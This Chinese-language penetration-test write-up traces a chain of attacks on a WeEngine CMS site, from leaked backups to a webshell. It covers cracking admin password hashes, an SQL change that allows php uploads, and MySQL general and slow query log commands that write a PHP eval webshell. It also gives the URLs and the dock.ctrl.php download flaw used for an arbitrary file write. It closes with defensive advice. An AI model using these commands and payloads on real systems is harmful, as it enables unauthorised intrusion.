记一次从源代码泄漏到后台获取webshell的过程
字数 1603 2025-08-09 23:12:49
从源代码泄漏到后台获取WebShell的完整渗透过程
0x01 前言
本文详细记录了一次从发现源代码泄漏到最终获取WebShell的完整渗透测试过程。目标系统使用的是微擎CMS,通过分析备份文件、密码加密机制、数据库操作和代码审计,最终实现了权限提升。
0x02 初始信息获取
1. 发现源代码泄漏
- 发现网站备份文件,包含完整源代码和数据库备份
- 确认系统使用微擎CMS
2. 数据库分析
- 数据库备份路径:
data/backup/ - 关键用户表:
ims_users - 包含字段:用户名、加密密码、salt值
0x03 密码破解与后台登录
1. 密码加密机制分析
在forget.ctrl.php中找到密码加密算法:
$password = md5($password . $member_info['salt'] . $_W['config']['setting']['authkey']);
- 加密方式:原密码 + salt + authkey拼接后进行MD5
authkey位置:data/config.php
2. 密码破解步骤
- 从数据库获取加密密码、salt
- 从
data/config.php获取authkey - 将salt和authkey拼接为新salt
- 使用md5(\(pass.\)salt)方式暴力破解
0x04 WebShell获取尝试
1. 方法一:修改上传限制
- 后台路径:站点管理→附件设置→图片附件设置
- 添加任意文件类型(如pppppp)
- 执行SQL:
UPDATE ims_core_settings SET value = replace(value, 'pppppp', 'php ')
- 限制:仅适用于Apache,且目标使用腾讯云COS和Tengine
2. 方法二:日志文件写Shell
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/var/www/html/1.php';
select '<?php eval($_POST[cmd]);?>'
或使用慢查询日志:
set global slow_query_log = on;
set global slow_query_log_file = '/var/www/html/shell.php';
select '<?php phpinfo();?>' or sleep(11);
限制:目标系统执行失败
0x05 代码审计深入分析
1. 关键文件分析
web/source/cloud/dock.ctrl.php中的download方法:
- 接收Base64编码的请求数据
- 反序列化数据获取$ret数组
- Base64解码$ret['file']
- 使用gzuncompress解压(如果可用)
- 验证签名:md5(\(file + \)ret['path'] + $_W['setting']['site']['token'])
- 根据$ret['path']写入文件
2. 关键参数获取
$_W['setting']['site']['token']通过解密cache_load(cache_system_key('cloud_transtoken'))获得- 解密使用
authcode函数,依赖$GLOBALS['_W']['config']['setting']['authkey']
3. cloud_transtoken获取方法
- 访问触发写入的URL:
http://ip:port/web/index.php?c=cloud&a=profile
- 调用链:
cloud_profile() → cloud_site_info() → cloud_api('site/info') → cloud_build_transtoken()
- 结果:将cloud_transtoken写入数据库
4. 自定义数据库备份
- 标准备份路径不可控:
- 文件夹:时间戳_8位随机字符串
- 文件名:volume-10位随机字符串-1.sql
- 自定义备份URL:
http://ip:port/web/index.php?c=system&a=database&do=backup&status=1&start=2&folder_suffix=123&volume_suffix=456
- 结果文件路径:
http://ip:port/data/backup/123/volume-456-1.sql
0x06 WebShell最终获取
1. 利用条件
- 拥有管理员权限账户
- 站点已注册云服务
2. 利用步骤
- 登录后台
- 访问URL写入cloud_transtoken:
http://ip:port/web/index.php?c=cloud&a=profile
- 自定义数据库备份获取token:
http://ip:port/web/index.php?c=system&a=database&do=backup&status=1&start=2&folder_suffix=123&volume_suffix=456
- 构造payload并请求:
http://ip:port/web/index.php?c=cloud&a=dock&do=download
3. 替代方案(无文件备份时)
- 使用"木马查杀"功能
- 拦截请求修改参数:
- 查杀目录:data/.
- 特征函数:password
- 从结果中获取authkey
- 注意:最新版(v2.5.7)有路径过滤,Windows可尝试大写绕过
0x07 总结
漏洞利用链
- 获取源代码和数据库备份
- 分析密码加密机制并破解
- 登录后台获取管理员权限
- 触发cloud_transtoken写入数据库
- 自定义备份获取token
- 构造payload实现任意文件写入
防御建议
- 避免源代码和数据库备份暴露
- 加强密码加密机制(如使用更强哈希算法)
- 限制数据库操作权限
- 对文件写入操作进行严格校验
- 及时更新CMS版本
- 实施严格的输入过滤和权限控制